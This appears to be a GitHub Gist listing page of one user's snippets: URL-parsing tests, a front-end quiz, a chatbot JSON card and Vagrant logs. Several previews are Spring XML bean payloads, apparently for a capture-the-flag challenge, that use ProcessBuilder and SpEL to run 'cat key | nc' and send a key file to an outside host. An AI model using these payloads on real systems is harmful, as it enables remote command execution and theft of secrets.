Skip to content

Instantly share code, notes, and snippets.

View url-parse.py
from urllib.parse import urlparse
o = urlparse('http://bing.com/search?q=[%temp%]&abc=what&this=that')
print(urllib.parse.parse_qs(o.query))
View url-decode-error.java
import java.net.URL;
import java.net.URLDecoder;
public class HelloWorld
{
public static void main(String[] args)
{
try {
URL url = new URL("http://foo.com?a=[%abc%]&b=test");
System.out.println(url.getPath()+"?"+url.getQuery());
@kimtree
kimtree / quiz.js
Created Jan 25, 2019
LINE 2019 FrontEnd Quiz
View quiz.js
// data cherry-picked from https://gist.github.com/nigayo/ade2c3f74417fc202c8097214c965f27
const data = {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
},
"image": {
View spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<array>
<value>/bin/bash</value>
<value>-c</value>
<value>cat ./key | nc 10.128.218.64 1024</value>
</array>
View spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="processBuilder" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key | nc kimtree.net 8282"/>
<property name="name" value="#{ processBuilder.start() }"/>
</bean>
</beans>
View gist:e7e76f0b52c67c636dc116344df01e35
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="processBuilder" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key | nc kimtree.net 8282"/>
<property name="name" value="#{ processBuilder.start() }"/>
</bean>
</beans>
View gist:3937a8f4d77fb3936584e1af05b3980d
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="cat key" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
View gist:ea4ebbbc53e1556c1a5285c6b3000c19
ㅐ{
"version": "2.0",
"template": {
"outputs": [
{
"basicCard": {
"title": "cute lulu",
"description": "lulu is cute",
"thumbnail": {
"imageUrl": "https://i.ytimg.com/vi/LNGSQHQdBW4/maxresdefault.jpg"
@kimtree
kimtree / gist:50cc80eed0f344417f7a42129f83fcdd
Created Dec 7, 2017
vagrant destroy && vagrant up result
View gist:50cc80eed0f344417f7a42129f83fcdd
homestead-7: Are you sure you want to destroy the 'homestead-7' VM? [y/N] y
==> homestead-7: Forcing shutdown of VM...
==> homestead-7: Destroying VM and associated drives...
==> homestead-7: Pruning invalid NFS exports. Administrator privileges will be required...
Password:
Bringing machine 'homestead-7' up with 'virtualbox' provider...
==> homestead-7: Importing base box 'laravel/homestead'...
==> homestead-7: Matching MAC address for NAT networking...
==> homestead-7: Checking if box 'laravel/homestead' is up to date...
==> homestead-7: Setting the name of the VM: homestead-7